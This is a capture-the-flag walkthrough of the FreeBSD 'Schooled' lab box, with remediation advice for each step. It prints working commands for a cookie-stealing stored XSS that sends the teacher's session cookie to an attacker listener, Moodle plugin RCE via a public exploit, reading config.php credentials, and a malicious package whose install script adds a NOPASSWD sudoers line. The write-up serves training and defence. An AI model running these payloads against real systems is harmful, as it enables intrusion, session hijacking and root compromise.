← all walkthroughs

Schooled

FreeBSD· Medium
owned
2026-07-14
time to own
22m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My found a hidden Moodle 3.9 virtual host on the Apache server through HTTP Host-header fuzzing, then registered a student account using the platform's open self-enrolment feature. A stored XSS vulnerability (CVE-2020-25627) in the unsanitized MoodleNet profile field was used to steal an authenticated teacher session cookie when the teacher auto-reviewed my profile. With teacher access, a second Moodle flaw (CVE-2020-14321) was chained: the course-enrolment API accepted a tampered role parameter, granting my a site-wide Manager role.

That role was used to install a malicious PHP block plugin that executed OS commands as the FreeBSD web service account. The Moodle configuration file exposed database credentials in plaintext; querying the database yielded the Moodle admin's bcrypt password hash, which was cracked offline. The same password was reused verbatim by FreeBSD OS account 'jamie', granting an SSH shell and the user flag.

A dangerous unrestricted sudo rule for the FreeBSD package manager (pkg install *) was identified as the intended root escalation path but was not executed before the engagement window closed.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceVirtual host discovery via HTTP Host-header enumeration
Discovered a hidden Moodle virtual host via HTTP Host-header fuzzing
An initial port scan of $TARGET found Apache 2.4.46 running PHP 7.4.15 on port 80, serving a marketing site at schooled.htb. The page footer and a teachers.html page hinted at an online learning portal. Systematically fuzzing the HTTP Host header against schooled.htb subdomains revealed a second virtual host, moodle.schooled.htb, serving a full Moodle Learning Management System. Fetching /moodle/lib/upgrade.txt confirmed the exact version as Moodle 3.9 — a release known to be affected by two chained privilege-escalation vulnerabilities.
Curl -H 'Host: moodle.schooled.htb' http://$TARGET/moodle/lib/upgrade.txt returned the Moodle 3.9 version string in the upgrade notes.
Exact commands 4
Initial service fingerprint; confirms Apache 2.4.46, PHP 7.4.15, OpenSSH 7.9.
nmap -Pn -sV -p 22,80,33060 $TARGET
Replace <default_size> with the byte count of a non-matching host response to filter false positives; moodle will show a different size.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.schooled.htb' -fs <default_size>
Add both vhosts to local resolution.
echo "$TARGET schooled.htb moodle.schooled.htb" | sudo tee -a /etc/hosts
Confirm Moodle version 3.9.
curl -s http://moodle.schooled.htb/moodle/lib/upgrade.txt | head -10
2Initial AccessOpen Moodle self-registration with guessable email domain restriction
Created a student account using open self-registration and enrolled in the Mathematics course
Moodle's self-registration feature accepted any email address ending in @student.schooled.htb — a domain visible in on-site teacher profiles. My account was created via the public signup page and email-confirmed via the link in the confirmation flow. I then self-enrolled in the Mathematics course (course id=5) without requiring an enrolment key. This placed my user profile in the queue for the teacher's automatic profile-review workflow, which is the precondition for triggering the stored XSS in the next step.
Registration at /moodle/login/signup.php with me@student.schooled.htb succeeded without admin approval; self-enrolment at /moodle/enrol/index.php?id=5 required no key.
Exact commands 3
Fetch the signup page to observe the required email domain hint in the page text.
curl -s http://moodle.schooled.htb/moodle/login/signup.php
Submit the registration form; retrieve <sesskey> from the page GET response first.
curl -s -c cookies.txt -b cookies.txt -X POST 'http://moodle.schooled.htb/moodle/login/signup.php' -d "username=$USERNAME&password=$PASSWORD2&email=$USERNAME%40student.schooled.htb&firstname=Att&lastname=Acker&sesskey=<sesskey>"
Self-enrol in Mathematics course (id=5); no enrolment key required.
curl -s -c cookies.txt -b cookies.txt 'http://moodle.schooled.htb/moodle/enrol/index.php?id=5'
FixRestrict Moodle self-registration to approved users onlyMedium
WeaknessMoodle's self-registration feature was open to anyone who could observe or guess the required email domain (@student.schooled.htb), visible in on-site teacher profiles. This allowed an unauthorised user to create a fully trusted account without any administrator approval, gaining access to courses and placing their profile in the teacher review queue that the XSS exploit depended on.
FixDisable self-registration entirely (Site administration → Plugins → Authentication → Manage authentication → set 'Self registration' to Disabled) unless enrolment of new students requires it. If self-registration must remain available, enforce email domain allowlisting, require manual admin approval before the account is activated, and disable guest access to all course enrolment pages.
3ExploitationStored Cross-Site Scripting — CVE-2020-25627 (CWE-79)
Stole the teacher's session cookie via stored XSS in the MoodleNet profile field (CVE-2020-25627)
Moodle 3.9 did not sanitize the MoodleNet profile URL field before rendering it in teacher-facing profile-review views. A JavaScript payload placed in this field executed in the browser of teacher Manuel Phillips when he automatically reviewed the newly enrolled student's profile. The script silently redirected to me-hosted HTTP listener and appended the teacher's MoodleSession cookie as a URL parameter. Replacing my cookie with this captured value in a browser session granted full teacher-level access as Manuel Phillips (uid 24).
Python3 -m http.server 8000 received GET /?MoodleSession=<captured_token> from the Moodle server after the teacher's auto-review fired; using that cookie value granted access to teacher controls in the Mathematics course.
Exact commands 3
Start HTTP listener on my machine; leave running to catch the inbound cookie beacon from the teacher's browser.
python3 -m http.server 8000
Set the MoodleNet profile field to the XSS payload; replace $ATTACKER_IP with your listener IP and <sesskey> from the edit-profile page source.
curl -s -c cookies.txt -b cookies.txt -X POST 'http://moodle.schooled.htb/moodle/user/editadvanced.php' --data-urlencode 'moodlenetprofile=<script>document.location="http://$ATTACKER_IP:8000/?"+document.cookie</script>' -d 'sesskey=<sesskey>'
The teacher auto-reviews profiles; the callback typically fires within 1-3 minutes.
# Watch the HTTP server output for: GET /?MoodleSession=<TEACHER_TOKEN> - copy this value
FixPatch CVE-2020-25627 — sanitize the MoodleNet profile field to eliminate stored XSSHigh
WeaknessMoodle 3.9 stored the MoodleNet profile URL field without sanitization and rendered it raw in teacher-facing profile-review views. An unauthorised user planted a JavaScript payload that silently executed in the teacher's authenticated browser session and exfiltrated the session cookie to an external server.
FixUpgrade Moodle to version 3.9.2 or later, which includes the upstream fix for CVE-2020-25627. As a defence-in-depth control, add a strict Content-Security-Policy response header to the Moodle vhost (script-src 'self') so that even if a payload reaches the page it cannot beacon data to an external origin.
4Privilege Escalation (Application)Insecure role assignment via IDOR + malicious plugin RCE — CVE-2020-14321 (T1505.003)
Escalated from teacher to site manager and gained OS code execution via malicious plugin (CVE-2020-14321)
Moodle 3.9's manual course-enrolment endpoint did not validate that a teacher could only assign roles at or below their own privilege level. Using the captured teacher session, I intercepted the 'Enrol users' POST request for the Mathematics course and changed the roletoassign parameter from 5 (Student) to 1 (Manager), assigning myself a site-wide Manager role. I then used 'Log in as' to assume the admin's session and edited the Manager role definition to add plugin-installation capabilities. A malicious Moodle block plugin containing a PHP web shell (public exploit-db PoC 50180) was uploaded via the plugin interface. Requesting the plugin's lang file with a cmd query parameter executed arbitrary OS commands as the FreeBSD www service account.
Python3 50180.py returned uid=80(www) gid=80(www) groups=80(www), confirming RCE as the Apache service account on FreeBSD.
Exact commands 2
Public exploit automates the full role-tamper + plugin-install chain; replace <TEACHER_TOKEN> with the captured cookie and <YOUR_USER_ID> with your Moodle uid (visible at /moodle/user/profile.php after login).
python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'id'
Confirm FreeBSD OS context and www service account.
python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'uname -a; id; hostname'
FixPatch CVE-2020-14321 — prevent teachers from escalating their own Moodle roleCritical
WeaknessMoodle 3.9's manual course-enrolment endpoint did not enforce that a teacher can only assign roles at or below their own privilege level. A teacher could tamper the POST parameter roletoassign to grant themselves a site-wide Manager role, then chain that access to install arbitrary PHP plugins and execute OS commands.
FixUpgrade Moodle to version 3.9.3 or later (CVE-2020-14321 patch). Additionally audit the Manager and Teacher role definitions to ensure plugin-installation and 'Log in as' capabilities are held only by the site administrator account, and enforce role-assignment capability checks in any custom code.
5Credential AccessCredential harvesting from application config file + offline bcrypt cracking (T1552.001, T1110.002)
Extracted database credentials from the config file and cracked the admin password hash
The RCE shell read /usr/local/www/apache24/data/moodle/config.php, which contained the Moodle database password in plaintext (user: moodle, password: [REDACTED: recovered credential]). Using those credentials with the FreeBSD MySQL binary, I queried the mdl_user table and extracted the bcrypt password hash for the Moodle 'admin' account. The hash was cracked offline using John the Ripper against the rockyou.txt wordlist, recovering the plaintext password [REDACTED: recovered credential]
Config.php yielded DB credentials; john cracked the admin bcrypt hash to [REDACTED: recovered credential] within the engagement window using rockyou.txt.
Exact commands 3
Read the Moodle config file via RCE; note the $CFG->dbuser and $CFG->dbpass values.
python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'cat /usr/local/www/apache24/data/moodle/config.php'
Dump the admin bcrypt hash directly from the Moodle database on the target.
python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c "/usr/local/bin/mysql -umoodle -p$PASSWORD3 moodle -N -e \"SELECT username,password FROM mdl_user WHERE username='admin';\""
Save the full bcrypt hash to admin.hash; john recovers [REDACTED: recovered credential]
echo '$2y$10$<HASH_STRING>' > admin.hash && john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt admin.hash
FixEnforce unique passwords for every account; never share credentials between the application and the OSHigh
WeaknessThe Moodle admin web-account password ([REDACTED: recovered credential]) was set identically on the FreeBSD OS account 'jamie'. Cracking a web application hash — an offline attack requiring no further network access — immediately produced a working SSH credential, collapsing two separate authentication boundaries into one.
FixMandate that application-layer passwords (CMS admin, database) are never reused for OS or SSH accounts. Rotate both the Moodle admin password and the jamie OS password to unique, randomly generated values (minimum 16 characters). Enforce this policy via a password manager and periodic audit. Where feasible, replace the Moodle admin account with an LDAP or SSO-backed identity so its credential is not stored as a local hash at all.
6Lateral MovementCredential reuse — application password reused on OS account (T1078)
Obtained an SSH shell as OS user 'jamie' via password reuse; captured user.txt
The password cracked from the Moodle admin hash ([REDACTED: recovered credential]) was reused verbatim by the FreeBSD OS account 'jamie', a member of the staff group. SSH on port 22 accepted password-based authentication without requiring a public key, providing a direct interactive shell. Authenticated as jamie, the user flag was read from ~/user.txt.
Sshpass -p '[REDACTED: recovered credential]' ssh jamie@$TARGET 'id; cat ~/user.txt' returned uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel) and the user flag <user.txt>.
Exact commands 1
Authenticate as jamie using the cracked Moodle admin password; captures user.txt.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=keyboard-interactive,password -o PubkeyAuthentication=no jamie@$TARGET 'id; cat ~/user.txt'
FixDisable SSH password authentication and require public-key loginMedium
WeaknessOpenSSH on port 22 accepted password-based and keyboard-interactive authentication. Any cracked or reused password therefore translates directly into an interactive shell with no further barrier — no key material or second factor required.
FixSet PasswordAuthentication no and ChallengeResponseAuthentication no in /etc/ssh/sshd_config, then restart sshd. Deploy SSH public keys for all accounts that need remote access and confirm they are working before disabling passwords. If password auth cannot be removed in the short term, enforce multi-factor authentication via an SSH PAM module (e.g., pam_google_authenticator).
7Privilege Escalation (OS) — Identified, Not ExecutedSudo abuse — unrestricted package manager execution as root (T1548.003 / GTFOBins: pkg)
Identified root escalation via malicious FreeBSD package installed through a hijacked package repository
After gaining a shell as jamie, sudo -l revealed NOPASSWD rights to run both 'pkg update' and 'pkg install *' as root — the FreeBSD package manager with a wildcard that accepts any package name. Jamie is also a member of the wheel group, which has write access to /etc/hosts. The package repository URL (devops.htb) is configured in /etc/pkg/FreeBSD.conf. The intended root attack is: build a malicious FreeBSD package whose +POST_INSTALL script appends a NOPASSWD sudoers line or installs a SUID shell; generate a signed package repository with 'pkg repo'; serve it over HTTP from my machine; redirect devops.htb to $ATTACKER_IP via /etc/hosts (wheel-writable); then trigger 'sudo pkg update && sudo pkg install evil' to execute the post-install script as root. This path was fully mapped but not executed before the engagement ended.
Sudo -l as jamie returned: (ALL) NOPASSWD: /usr/sbin/pkg update, (ALL) NOPASSWD: /usr/sbin/pkg install *; /etc/pkg/FreeBSD.conf referenced devops.htb as the upstream mirror.
Exact commands 7
Confirm sudo rules and identify the package repository hostname to hijack.
ssh jamie@$TARGET 'sudo -l && cat /etc/pkg/FreeBSD.conf'
Create the post-install payload script on my machine.
mkdir -p /tmp/evil-pkg && echo '#!/bin/sh
echo "jamie ALL=(ALL) NOPASSWD: ALL" >> /usr/local/etc/sudoers' > /tmp/evil-pkg/post_install.sh && chmod +x /tmp/evil-pkg/post_install.sh
Build the malicious FreeBSD pkg using fpm (effing package management); produces evil-1.0.txz.
fpm -n evil -v 1.0 -s dir -t freebsd --after-install /tmp/evil-pkg/post_install.sh /tmp/dummy=/tmp/dummy
Generate repository metadata (packagesite.yaml) and serve the repo over HTTP.
pkg repo . && python3 -m http.server 8080
Redirect the devops.htb repo mirror to my HTTP server; jamie's wheel membership allows this.
ssh jamie@$TARGET "echo '$ATTACKER_IP devops.htb' | sudo tee -a /etc/hosts"
Force a repo refresh pointing at my server and install the malicious package; +POST_INSTALL executes as root.
ssh jamie@$TARGET 'sudo pkg update -f && sudo pkg install -y evil'
After the sudoers entry is injected, open a root shell.
ssh jamie@$TARGET 'sudo /bin/csh'
FixRemove the unrestricted sudo pkg install rule and lock down the package repository configurationCritical
WeaknessUser jamie had NOPASSWD sudo rights to 'pkg update' and 'pkg install *' (wildcard). Combined with wheel-group write access to /etc/hosts, this allowed jamie to redirect the package repository hostname to an externally controlled server and install a package whose post-install script executes arbitrary code as root — a full privilege escalation requiring no exploit.
FixRemove the pkg-related sudo entries from /etc/sudoers. If delegated system updates are genuinely required, replace them with a tightly scoped mechanism (e.g., a signed update script with a fixed path and no wildcard) run by a dedicated service account with audit logging. Restrict /etc/hosts and /etc/pkg/FreeBSD.conf to root-only write access (chmod 644 / chown root:wheel with no group write bit) so that wheel membership cannot be used to redirect package infrastructure.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
33060/tcp